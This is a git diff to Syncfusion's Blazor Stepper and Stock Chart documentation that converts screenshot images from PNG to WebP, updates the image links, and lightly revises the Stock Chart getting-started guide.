diff --git a/blazor/stepper/images/Blazor-label-type.png b/blazor/stepper/images/Blazor-label-type.png
deleted file mode 100644
index 1f7e691451..0000000000
Binary files a/blazor/stepper/images/Blazor-label-type.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-label-type.webp b/blazor/stepper/images/Blazor-label-type.webp
new file mode 100644
index 0000000000..cb9064817b
Binary files /dev/null and b/blazor/stepper/images/Blazor-label-type.webp differ
diff --git a/blazor/stepper/images/Blazor-labelposition.png b/blazor/stepper/images/Blazor-labelposition.png
deleted file mode 100644
index 86bad6754b..0000000000
Binary files a/blazor/stepper/images/Blazor-labelposition.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-labelposition.webp b/blazor/stepper/images/Blazor-labelposition.webp
new file mode 100644
index 0000000000..91a5d23b5e
Binary files /dev/null and b/blazor/stepper/images/Blazor-labelposition.webp differ
diff --git a/blazor/stepper/images/Blazor-linear.png b/blazor/stepper/images/Blazor-linear.png
deleted file mode 100644
index 52c2f6edb7..0000000000
Binary files a/blazor/stepper/images/Blazor-linear.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-linear.webp b/blazor/stepper/images/Blazor-linear.webp
new file mode 100644
index 0000000000..40e104113a
Binary files /dev/null and b/blazor/stepper/images/Blazor-linear.webp differ
diff --git a/blazor/stepper/images/Blazor-optional.png b/blazor/stepper/images/Blazor-optional.png
deleted file mode 100644
index 6fbc37b887..0000000000
Binary files a/blazor/stepper/images/Blazor-optional.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-optional.webp b/blazor/stepper/images/Blazor-optional.webp
new file mode 100644
index 0000000000..c5a007dbe5
Binary files /dev/null and b/blazor/stepper/images/Blazor-optional.webp differ
diff --git a/blazor/stepper/images/Blazor-progress-bar.png b/blazor/stepper/images/Blazor-progress-bar.png
deleted file mode 100644
index ffb46db6f9..0000000000
Binary files a/blazor/stepper/images/Blazor-progress-bar.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-progress-bar.webp b/blazor/stepper/images/Blazor-progress-bar.webp
new file mode 100644
index 0000000000..dc1f0d1abc
Binary files /dev/null and b/blazor/stepper/images/Blazor-progress-bar.webp differ
diff --git a/blazor/stepper/images/Blazor-step-status.png b/blazor/stepper/images/Blazor-step-status.png
deleted file mode 100644
index 9c8953057c..0000000000
Binary files a/blazor/stepper/images/Blazor-step-status.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-step-status.webp b/blazor/stepper/images/Blazor-step-status.webp
new file mode 100644
index 0000000000..b6e83c6ce5
Binary files /dev/null and b/blazor/stepper/images/Blazor-step-status.webp differ
diff --git a/blazor/stepper/images/Blazor-template.png b/blazor/stepper/images/Blazor-template.png
deleted file mode 100644
index e44e48fb3b..0000000000
Binary files a/blazor/stepper/images/Blazor-template.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-template.webp b/blazor/stepper/images/Blazor-template.webp
new file mode 100644
index 0000000000..89a6ae7337
Binary files /dev/null and b/blazor/stepper/images/Blazor-template.webp differ
diff --git a/blazor/stepper/images/Blazor-text-content.png b/blazor/stepper/images/Blazor-text-content.png
deleted file mode 100644
index 6465e25d41..0000000000
Binary files a/blazor/stepper/images/Blazor-text-content.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-text-content.webp b/blazor/stepper/images/Blazor-text-content.webp
new file mode 100644
index 0000000000..da31a1d8d2
Binary files /dev/null and b/blazor/stepper/images/Blazor-text-content.webp differ
diff --git a/blazor/stepper/images/Blazor-tooltip-template.png b/blazor/stepper/images/Blazor-tooltip-template.png
deleted file mode 100644
index 28cd554f1a..0000000000
Binary files a/blazor/stepper/images/Blazor-tooltip-template.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-tooltip-template.webp b/blazor/stepper/images/Blazor-tooltip-template.webp
new file mode 100644
index 0000000000..a220c4234a
Binary files /dev/null and b/blazor/stepper/images/Blazor-tooltip-template.webp differ
diff --git a/blazor/stepper/images/Blazor-tooltip.png b/blazor/stepper/images/Blazor-tooltip.png
deleted file mode 100644
index ac44f96b15..0000000000
Binary files a/blazor/stepper/images/Blazor-tooltip.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-tooltip.webp b/blazor/stepper/images/Blazor-tooltip.webp
new file mode 100644
index 0000000000..9c8276d46b
Binary files /dev/null and b/blazor/stepper/images/Blazor-tooltip.webp differ
diff --git a/blazor/stepper/images/Blazor-validation.png b/blazor/stepper/images/Blazor-validation.png
deleted file mode 100644
index 9a39d601aa..0000000000
Binary files a/blazor/stepper/images/Blazor-validation.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-validation.webp b/blazor/stepper/images/Blazor-validation.webp
new file mode 100644
index 0000000000..38964765db
Binary files /dev/null and b/blazor/stepper/images/Blazor-validation.webp differ
diff --git a/blazor/stepper/images/Blazor-vertical.png b/blazor/stepper/images/Blazor-vertical.png
deleted file mode 100644
index 0d798aa49a..0000000000
Binary files a/blazor/stepper/images/Blazor-vertical.png and /dev/null differ
diff --git a/blazor/stepper/images/Blazor-vertical.webp b/blazor/stepper/images/Blazor-vertical.webp
new file mode 100644
index 0000000000..7c8d042d4b
Binary files /dev/null and b/blazor/stepper/images/Blazor-vertical.webp differ
diff --git a/blazor/stepper/images/blazor-create-web-app.png b/blazor/stepper/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/stepper/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-create-web-app.webp b/blazor/stepper/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/stepper/images/blazor-create-web-app.webp differ
diff --git a/blazor/stepper/images/blazor-iconwithlabel.png b/blazor/stepper/images/blazor-iconwithlabel.png
deleted file mode 100644
index 2364cd7dc5..0000000000
Binary files a/blazor/stepper/images/blazor-iconwithlabel.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-iconwithlabel.webp b/blazor/stepper/images/blazor-iconwithlabel.webp
new file mode 100644
index 0000000000..9a7e7574b0
Binary files /dev/null and b/blazor/stepper/images/blazor-iconwithlabel.webp differ
diff --git a/blazor/stepper/images/blazor-progressbar.png b/blazor/stepper/images/blazor-progressbar.png
deleted file mode 100644
index 048bcf5f69..0000000000
Binary files a/blazor/stepper/images/blazor-progressbar.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-progressbar.webp b/blazor/stepper/images/blazor-progressbar.webp
new file mode 100644
index 0000000000..d8e1800e94
Binary files /dev/null and b/blazor/stepper/images/blazor-progressbar.webp differ
diff --git a/blazor/stepper/images/blazor-selected-step.png b/blazor/stepper/images/blazor-selected-step.png
deleted file mode 100644
index 1020db835e..0000000000
Binary files a/blazor/stepper/images/blazor-selected-step.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-selected-step.webp b/blazor/stepper/images/blazor-selected-step.webp
new file mode 100644
index 0000000000..42daeb1e7d
Binary files /dev/null and b/blazor/stepper/images/blazor-selected-step.webp differ
diff --git a/blazor/stepper/images/blazor-stepper-component.png b/blazor/stepper/images/blazor-stepper-component.png
deleted file mode 100644
index dc05e99aac..0000000000
Binary files a/blazor/stepper/images/blazor-stepper-component.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-stepper-component.webp b/blazor/stepper/images/blazor-stepper-component.webp
new file mode 100644
index 0000000000..c879c16eed
Binary files /dev/null and b/blazor/stepper/images/blazor-stepper-component.webp differ
diff --git a/blazor/stepper/images/blazor-stepper-content.png b/blazor/stepper/images/blazor-stepper-content.png
deleted file mode 100644
index 97f60d0f2d..0000000000
Binary files a/blazor/stepper/images/blazor-stepper-content.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-stepper-content.webp b/blazor/stepper/images/blazor-stepper-content.webp
new file mode 100644
index 0000000000..4a32226d36
Binary files /dev/null and b/blazor/stepper/images/blazor-stepper-content.webp differ
diff --git a/blazor/stepper/images/blazor-stepper-each-item.png b/blazor/stepper/images/blazor-stepper-each-item.png
deleted file mode 100644
index 7ee30205c8..0000000000
Binary files a/blazor/stepper/images/blazor-stepper-each-item.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-stepper-each-item.webp b/blazor/stepper/images/blazor-stepper-each-item.webp
new file mode 100644
index 0000000000..39128442ee
Binary files /dev/null and b/blazor/stepper/images/blazor-stepper-each-item.webp differ
diff --git a/blazor/stepper/images/blazor-stepper-hover.png b/blazor/stepper/images/blazor-stepper-hover.png
deleted file mode 100644
index 435268baf0..0000000000
Binary files a/blazor/stepper/images/blazor-stepper-hover.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-stepper-hover.webp b/blazor/stepper/images/blazor-stepper-hover.webp
new file mode 100644
index 0000000000..e4ba7be0f6
Binary files /dev/null and b/blazor/stepper/images/blazor-stepper-hover.webp differ
diff --git a/blazor/stepper/images/blazor-wasm-app-template.png b/blazor/stepper/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/stepper/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/stepper/images/blazor-wasm-app-template.webp b/blazor/stepper/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/stepper/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/stepper/images/edit-form.png b/blazor/stepper/images/edit-form.png
deleted file mode 100644
index 9329c3fd30..0000000000
Binary files a/blazor/stepper/images/edit-form.png and /dev/null differ
diff --git a/blazor/stepper/images/edit-form.webp b/blazor/stepper/images/edit-form.webp
new file mode 100644
index 0000000000..c8df02adb3
Binary files /dev/null and b/blazor/stepper/images/edit-form.webp differ
diff --git a/blazor/stepper/linear-flow.md b/blazor/stepper/linear-flow.md
index 5d42af2e66..f493716e8c 100644
--- a/blazor/stepper/linear-flow.md
+++ b/blazor/stepper/linear-flow.md
@@ -67,4 +67,4 @@ The example demonstrates the functionality of both linear and non-linear flow in
 
 ```
 
-![Blazor Stepper Component with Linear Flow](./images/Blazor-linear.png)
\ No newline at end of file
+![Blazor Stepper Component with Linear Flow](./images/Blazor-linear.webp)
\ No newline at end of file
diff --git a/blazor/stepper/orientations.md b/blazor/stepper/orientations.md
index e927eb72b6..f5a852519c 100644
--- a/blazor/stepper/orientations.md
+++ b/blazor/stepper/orientations.md
@@ -57,7 +57,7 @@ In horizontal orientation, the steps are displayed in a side-by-side manner by s
 
 ```
 
-![Blazor Stepper Component with Horizontal Orientation](./images/Blazor-horizontal.png)
+![Blazor Stepper Component with Horizontal Orientation](./images/Blazor-horizontal.webp)
 
 ## Vertical
 
@@ -111,4 +111,4 @@ You can display the steps one below the other vertically by setting the [Orienta
 
 ```
 
-![Blazor Stepper Component with Vertical Orientation](./images/Blazor-vertical.png)
\ No newline at end of file
+![Blazor Stepper Component with Vertical Orientation](./images/Blazor-vertical.webp)
\ No newline at end of file
diff --git a/blazor/stepper/steps-validation.md b/blazor/stepper/steps-validation.md
index 1c97269686..2e0bf19f25 100644
--- a/blazor/stepper/steps-validation.md
+++ b/blazor/stepper/steps-validation.md
@@ -68,7 +68,7 @@ The Stepper component allows you to set the validation state for each step, disp
 
 ```
 
-![Blazor Stepper Component with Validation](./images/Blazor-validation.png)
+![Blazor Stepper Component with Validation](./images/Blazor-validation.webp)
 
 ## Validating fields
 
@@ -378,4 +378,4 @@ You can validate the fields within the stepper component. In the below shared ex
 
 ```
 
-![Validation using editform](./images/edit-form.png)
+![Validation using editform](./images/edit-form.webp)
diff --git a/blazor/stepper/steps.md b/blazor/stepper/steps.md
index a830a14f94..f4aaa15ad2 100644
--- a/blazor/stepper/steps.md
+++ b/blazor/stepper/steps.md
@@ -61,7 +61,7 @@ You can define the CSS class to show the icon for each step using the `IconCss`
 
 ```
 
-![Blazor Stepper Component with Icon](./images/Blazor-horizontal.png)
+![Blazor Stepper Component with Icon](./images/Blazor-horizontal.webp)
 
 ### Defining text content
 
@@ -97,7 +97,7 @@ You can define text instead of an icon by setting the [Text](https://help.syncfu
 </style>
 
 ```
-![Blazor Stepper Component with text content](./images/Blazor-text-content.png)
+![Blazor Stepper Component with text content](./images/Blazor-text-content.webp)
 
 ## Optional steps
 
@@ -144,7 +144,7 @@ You can show whether the step is optional or not by using [Optional](https://hel
 </style>
 
 ```
-![Blazor Stepper Component with Optional](./images/Blazor-optional.png)
+![Blazor Stepper Component with Optional](./images/Blazor-optional.webp)
 
 ## Disabling steps
 
@@ -191,7 +191,7 @@ You can use the [Disabled](https://help.syncfusion.com/cr/blazor/Syncfusion.Blaz
 </style>
 
 ```
-![Blazor Stepper Component with Disabled](./images/Blazor-disabled.png)
+![Blazor Stepper Component with Disabled](./images/Blazor-disabled.webp)
 
 ## Setting readonly
 
@@ -238,7 +238,7 @@ You can use [ReadOnly](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.N
 </style>
 
 ```
-![Blazor Stepper Component with ReadOnly](./images/Blazor-Readonly.png)
+![Blazor Stepper Component with ReadOnly](./images/Blazor-Readonly.webp)
 
 ## Setting active step
 
@@ -285,7 +285,7 @@ You can set the active step by specifying its index using the [ActiveStep](https
 </style>
 
 ```
-![Blazor Stepper Component with ActiveStep](./images/Blazor-activeStep.png)
+![Blazor Stepper Component with ActiveStep](./images/Blazor-activeStep.webp)
 
 ## Step status
 
@@ -399,7 +399,7 @@ Each step's progress state can be specified using the [Status](https://help.sync
 
 
 ```
-![Blazor Stepper Component with step status](./images/Blazor-step-status.png)
+![Blazor Stepper Component with step status](./images/Blazor-step-status.webp)
 
 ## Step styling
 
@@ -460,7 +460,7 @@ You can use the [CssClass](https://help.syncfusion.com/cr/blazor/Syncfusion.Blaz
 
 ```
 
-![Blazor Stepper Component with CssClass](./images/Blazor-cssclass.png)
+![Blazor Stepper Component with CssClass](./images/Blazor-cssclass.webp)
 
 ## Step validation
 
diff --git a/blazor/stepper/steptypes.md b/blazor/stepper/steptypes.md
index c72540ee0a..9b942633c2 100644
--- a/blazor/stepper/steptypes.md
+++ b/blazor/stepper/steptypes.md
@@ -60,7 +60,7 @@ In default type, the Stepper displays steps with a combination of both indicator
 
 ```
 
-![Blazor Stepper Component with Default type](./images/Blazor-default-type.png)
+![Blazor Stepper Component with Default type](./images/Blazor-default-type.webp)
 
 ## Label type
 
@@ -113,7 +113,7 @@ In label type, the Stepper displays the steps with only the step labels by setti
 
 ```
 
-![Blazor Stepper Component with Label type](./images/Blazor-label-type.png)
+![Blazor Stepper Component with Label type](./images/Blazor-label-type.webp)
 
 ### Label positions
 
@@ -200,7 +200,7 @@ The following label positions are supported in Stepper:
 
 ```
 
-![Blazor Stepper Component with LabelPosition](./images/Blazor-labelposition.png)
+![Blazor Stepper Component with LabelPosition](./images/Blazor-labelposition.webp)
 
 ## Indicator type
 
@@ -242,4 +242,4 @@ In indicator type, the Stepper displays steps with only the step indicators  by
 
 ```
 
-![Blazor Stepper Component with Indicator type](./images/Blazor-indicator.png)
\ No newline at end of file
+![Blazor Stepper Component with Indicator type](./images/Blazor-indicator.webp)
\ No newline at end of file
diff --git a/blazor/stepper/style.md b/blazor/stepper/style.md
index 38cbfdfefe..8429782381 100644
--- a/blazor/stepper/style.md
+++ b/blazor/stepper/style.md
@@ -22,7 +22,7 @@ Use the following CSS to customize the overall progress bar container of the Ste
         border-radius: 3px;
     }
 ```
-![Stepper progress bar value](./images/Blazor-progress-bar.png)
+![Stepper progress bar value](./images/Blazor-progress-bar.webp)
 
 ## Customizing the stepper progress bar value
 
@@ -38,7 +38,7 @@ The progress bar value in the Stepper component automatically increases as each
 
 
 ```
-![Stepper progress bar](./images/blazor-progressbar.png)
+![Stepper progress bar](./images/blazor-progressbar.webp)
 
 ## Customizing stepper label content
 
@@ -87,7 +87,7 @@ You can customize the label text that appears next to each step in the Stepper b
 
 ```
 
-![Stepper content](./images/blazor-stepper-content.png)
+![Stepper content](./images/blazor-stepper-content.webp)
 
 ## Customizing selected stepper item
 
@@ -113,7 +113,7 @@ Use the following CSS to highlight the selected step item.
 
 ```
 
-![Stepper selected item](./images/blazor-selected-step.png)
+![Stepper selected item](./images/blazor-selected-step.webp)
 
 
 ## Customizing hover state of stepper indicators
@@ -131,7 +131,7 @@ Use the following CSS to customize the hover state of step indicators when the S
     }
 ```
 
-![Stepper hover state](./images/blazor-stepper-hover.png)
+![Stepper hover state](./images/blazor-stepper-hover.webp)
 
 ## Customize each step item
 
@@ -247,4 +247,4 @@ You can use the [CssClass](https://help.syncfusion.com/cr/blazor/Syncfusion.Blaz
 
 
 ```
-![Stepper each item](./images/blazor-stepper-each-item.png)
+![Stepper each item](./images/blazor-stepper-each-item.webp)
diff --git a/blazor/stepper/template.md b/blazor/stepper/template.md
index ac8d3d1bc2..c96df3bf61 100644
--- a/blazor/stepper/template.md
+++ b/blazor/stepper/template.md
@@ -98,4 +98,4 @@ The `StepperStep` tag directive options and current step index are passed as `st
 
 ```
 
-![Blazor Stepper Component with Template](./images/Blazor-template.png)
\ No newline at end of file
+![Blazor Stepper Component with Template](./images/Blazor-template.webp)
\ No newline at end of file
diff --git a/blazor/stepper/tooltip.md b/blazor/stepper/tooltip.md
index 6e5defd2d8..0aa67681cc 100644
--- a/blazor/stepper/tooltip.md
+++ b/blazor/stepper/tooltip.md
@@ -55,7 +55,7 @@ The tooltip appears when the user hovers over the step, providing the informatio
 
 ```
 
-![Blazor Stepper Component with Tooltip](./images/Blazor-tooltip.png)
+![Blazor Stepper Component with Tooltip](./images/Blazor-tooltip.webp)
 
 ## Tooltip template
 
@@ -138,4 +138,4 @@ When hovering over the step, the current step model is passed in the template co
 
 ```
 
-![Blazor Stepper Component with Tooltip Template](./images/Blazor-tooltip-template.png)
\ No newline at end of file
+![Blazor Stepper Component with Tooltip Template](./images/Blazor-tooltip-template.webp)
\ No newline at end of file
diff --git a/blazor/stock-chart/appearance.md b/blazor/stock-chart/appearance.md
index 973091d184..a9dfff5e78 100644
--- a/blazor/stock-chart/appearance.md
+++ b/blazor/stock-chart/appearance.md
@@ -48,7 +48,7 @@ Set a chart title using the [Title](https://help.syncfusion.com/cr/blazor/Syncfu
 
 ```
 
-![Blazor Stock Chart with Title](images/appearance/blazor-stock-chart-title.png)
+![Blazor Stock Chart with Title](images/appearance/blazor-stock-chart-title.webp)
 
 <!-- markdownlint-disable MD036 -->
 
@@ -92,7 +92,7 @@ The `TextStyle` property of the chart title provides options to customize `Size`
 
 ```
 
-![Blazor Stock Chart with Custom Title](images/appearance/blazor-stock-chart-custom-title.png)
+![Blazor Stock Chart with Custom Title](images/appearance/blazor-stock-chart-custom-title.webp)
 
 ## Stock Chart Theme
 
@@ -135,7 +135,7 @@ Stock Chart includes several built-in themes such as `Material`, `Fabric`, `Boot
 
 ```
 
-![Applying Theme in Blazor Stock Chart](images/appearance/blazor-stock-chart-with-theme.png)
+![Applying Theme in Blazor Stock Chart](images/appearance/blazor-stock-chart-with-theme.webp)
 
 ## See Also
 
diff --git a/blazor/stock-chart/axis-customization.md b/blazor/stock-chart/axis-customization.md
index 40076f1808..b2bc32a2bb 100644
--- a/blazor/stock-chart/axis-customization.md
+++ b/blazor/stock-chart/axis-customization.md
@@ -48,7 +48,7 @@ Add a chart title using the [Title](https://help.syncfusion.com/cr/blazor/Syncfu
 
 ```
 
-![Blazor Stock Chart with Title](images/common/blazor-stock-chart-title.png)
+![Blazor Stock Chart with Title](images/common/blazor-stock-chart-title.webp)
 
 ## Tick Lines Customization
 
@@ -92,7 +92,7 @@ Customize the `Width` and `Color` of minor and major tick lines using the [Major
 
 ```
 
-![Blazor Stock Chart with Tick Lines](images/common/blazor-stock-chart-tick-lines.png)
+![Blazor Stock Chart with Tick Lines](images/common/blazor-stock-chart-tick-lines.webp)
 
 ## Grid Lines Customization
 
@@ -141,7 +141,7 @@ Customize the `Width`, `Color`, and `DashArray` of minor and major grid lines us
 
 ```
 
-![Blazor Stock Chart with Grid Lines](images/common/blazor-stock-chart-grid-lines.png)
+![Blazor Stock Chart with Grid Lines](images/common/blazor-stock-chart-grid-lines.webp)
 
 ## Multiple Axis
 
@@ -200,7 +200,7 @@ In addition to the primary X and Y axes, multiple additional axes can be added t
 
 ```
 
-![Blazor Stock Chart with Multiple Axes](images/common/blazor-stock-chart-multiple-axes.png)
+![Blazor Stock Chart with Multiple Axes](images/common/blazor-stock-chart-multiple-axes.webp)
 
 ## Inversed Axis
 
@@ -248,7 +248,7 @@ When an axis is inversed, the highest value of the axis is placed closer to the
 
 ```
 
-![Blazor Stock Chart with Inversed Axis](images/common/blazor-stock-chart-inversed-axis.png)
+![Blazor Stock Chart with Inversed Axis](images/common/blazor-stock-chart-inversed-axis.webp)
 
 ## Opposed Position
 
@@ -293,4 +293,4 @@ To place an axis opposite from its original position, set [OpposedPosition](http
 
 ```
 
-![Blazor Stock Chart in Opposed Position](images/common/blazor-stock-chart-in-opposed-position.png)
+![Blazor Stock Chart in Opposed Position](images/common/blazor-stock-chart-in-opposed-position.webp)
diff --git a/blazor/stock-chart/axis-types.md b/blazor/stock-chart/axis-types.md
index 6c1bf431fa..52f1d8d15e 100644
--- a/blazor/stock-chart/axis-types.md
+++ b/blazor/stock-chart/axis-types.md
@@ -52,7 +52,7 @@ The DateTime axis uses a time-based scale and renders date-time values as axis l
 
 ```
 
-![Blazor Stock Chart with Datetime Axis](images/common/blazor-stock-chart-datetime-axis.png)
+![Blazor Stock Chart with Datetime Axis](images/common/blazor-stock-chart-datetime-axis.webp)
 
 ## DateTimeCategory Axis
 
@@ -122,7 +122,7 @@ The DateTimeCategory axis displays only business days by skipping non-trading da
 
 ```
 
-![Blazor Stock Chart with DateTimeCategory Axis](images/common/blazor-stock-chart-datetimecategory-axis.png)
+![Blazor Stock Chart with DateTimeCategory Axis](images/common/blazor-stock-chart-datetimecategory-axis.webp)
 
 ## Logarithmic Axis
 
@@ -167,7 +167,7 @@ The Logarithmic axis uses a logarithmic scale and is useful when data spans mult
 
 ```
 
-![Blazor Stock Chart with Logarithmic Axis](images/common/blazor-stock-chart-logarithmic-axis.png)
+![Blazor Stock Chart with Logarithmic Axis](images/common/blazor-stock-chart-logarithmic-axis.webp)
 
 ## See Also
 
diff --git a/blazor/stock-chart/chart-dimensions.md b/blazor/stock-chart/chart-dimensions.md
index a108294305..595db711a9 100644
--- a/blazor/stock-chart/chart-dimensions.md
+++ b/blazor/stock-chart/chart-dimensions.md
@@ -52,7 +52,7 @@ The stock chart adapts to its container size. Set the container dimensions with
 
 ```
 
-![Changing Blazor Stock Chart Size](images/size/blazor-stock-chart-size.png)
+![Changing Blazor Stock Chart Size](images/size/blazor-stock-chart-size.webp)
 
 ## Size for Stock Chart
 
@@ -99,7 +99,7 @@ Set the stock chart size directly using the [Width](https://help.syncfusion.com/
 
 ```
 
-![Changing Blazor Stock Chart Size in Pixel](images/size/blazor-stock-chart-size-in-pixel.png)
+![Changing Blazor Stock Chart Size in Pixel](images/size/blazor-stock-chart-size-in-pixel.webp)
 
 **In Percentage**
 
@@ -142,6 +142,6 @@ When values are specified in percentages, the stock chart sizes relative to its
 
 ```
 
-![Changing Blazor Stock Chart Size in Percentage](images/size/blazor-stock-chart-size-in-percentage.png)
+![Changing Blazor Stock Chart Size in Percentage](images/size/blazor-stock-chart-size-in-percentage.webp)
 
 N> If no size is specified, a default height of 450px is used and the width matches the window size.
diff --git a/blazor/stock-chart/cross-hair.md b/blazor/stock-chart/cross-hair.md
index f6526b597e..597509d157 100644
--- a/blazor/stock-chart/cross-hair.md
+++ b/blazor/stock-chart/cross-hair.md
@@ -57,7 +57,7 @@ The crosshair displays vertical and horizontal lines to show axis values at the
 
 ```
 
-![SnapToData Crosshair in Blazor Stock Chart](images/common/blazor-stock-chart-crosshair.png)
+![SnapToData Crosshair in Blazor Stock Chart](images/common/blazor-stock-chart-crosshair.webp)
 
 ## Tooltip for axis
 
@@ -113,7 +113,7 @@ Axis tooltip labels can be enabled using the [Enable](https://help.syncfusion.co
 
 ```
 
-![Blazor Stock Chart with Crosshair Tooltip](images/common/blazor-stock-chart-crosshair-tooltip.png)
+![Blazor Stock Chart with Crosshair Tooltip](images/common/blazor-stock-chart-crosshair-tooltip.webp)
 
 ## Customization
 
@@ -171,7 +171,7 @@ Customize the crosshair tooltip background and font using the `Fill` and `TextSt
 
 ```
 
-![Blazor Stock Chart with Custom Crosshair](images/common/blazor-stock-chart-custom-crosshair.png)
+![Blazor Stock Chart with Custom Crosshair](images/common/blazor-stock-chart-custom-crosshair.webp)
 
 ## Add Trackball
 
@@ -218,4 +218,4 @@ Trackball highlights the data point closest to the pointer and shows its details
 
 ```
 
-![Blazor Stock Chart with Trackball](images/common/blazor-stock-chart-trackball.png)
+![Blazor Stock Chart with Trackball](images/common/blazor-stock-chart-trackball.webp)
diff --git a/blazor/stock-chart/export-print.md b/blazor/stock-chart/export-print.md
index 8f8167f469..3c3a3630bf 100644
--- a/blazor/stock-chart/export-print.md
+++ b/blazor/stock-chart/export-print.md
@@ -57,7 +57,7 @@ The rendered stock chart can be printed directly using the print button in the p
 
 ```
 
-![Printing in Blazor Stock Chart](images/print/blazor-stock-chart-printing.png)
+![Printing in Blazor Stock Chart](images/print/blazor-stock-chart-printing.webp)
 
 ## Disable export and print
 
@@ -100,7 +100,7 @@ Set the `ExportType` property to an empty list to disable export options.
 
 ```
 
-![Disabling Export and Print in Blazor Stock Chart](images/print/blazor-stock-chart-disable-print-export.png)
+![Disabling Export and Print in Blazor Stock Chart](images/print/blazor-stock-chart-disable-print-export.webp)
 
 ## Customize the exported chart using the Exporting event
 
diff --git a/blazor/stock-chart/getting-started-webapp.md b/blazor/stock-chart/getting-started-webapp.md
index 311654d12a..bcc1b0eba5 100644
--- a/blazor/stock-chart/getting-started-webapp.md
+++ b/blazor/stock-chart/getting-started-webapp.md
@@ -3,13 +3,13 @@ layout: post
 title: Getting started with Syncfusion Stock Chart in Blazor Web App
 description: Check out the documentation for getting started with Syncfusion Blazor Stock Chart Components in Blazor Web App.
 platform: Blazor
-control: Stock Chart
+component: Stock Chart
 documentation: ug
 ---
 
 # Getting Started with Blazor Stock Chart in Blazor Web App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart](https://www.syncfusion.com/blazor-components/blazor-stock-chart) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart](https://www.syncfusion.com/blazor-components/blazor-stock-chart) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -42,11 +42,17 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorWebApp -int Auto
 cd BlazorWebApp
-cd BlazorWebApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
+N> If the application is configured with WebAssembly or Auto render modes, you may optionally navigate to the client project directory to manage client-specific dependencies. Once the required changes are completed, ensure that you navigate back to the root project directory.
+
+```
+cd BlazorWebApp.Client
+cd ..
+```
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -74,11 +80,17 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorWebApp -int Auto
 cd BlazorWebApp
-cd BlazorWebApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
+N> If the application is configured with WebAssembly or Auto render modes, you may optionally navigate to the client project directory to manage client-specific dependencies. Once the required changes are completed, ensure that you navigate back to the root project directory.
+
+```
+cd BlazorWebApp.Client
+cd ..
+```
+
 {% endtabcontent %}
 
 {% endtabcontents %}
@@ -87,7 +99,7 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.StockChart](https://www.nuget.org/packages/Syncfusion.Blazor.StockChart) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.StockChart](https://www.nuget.org/packages/Syncfusion.Blazor.StockChart) and the [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.StockChart --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
@@ -108,6 +120,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
 
@@ -119,7 +133,7 @@ After the packages are installed, open the **~/_Imports.razor** file in the clie
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion Blazor service in the **Program.cs** file of your Blazor Web App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Web App. This step enables the Syncfusion components to work in your application.
 
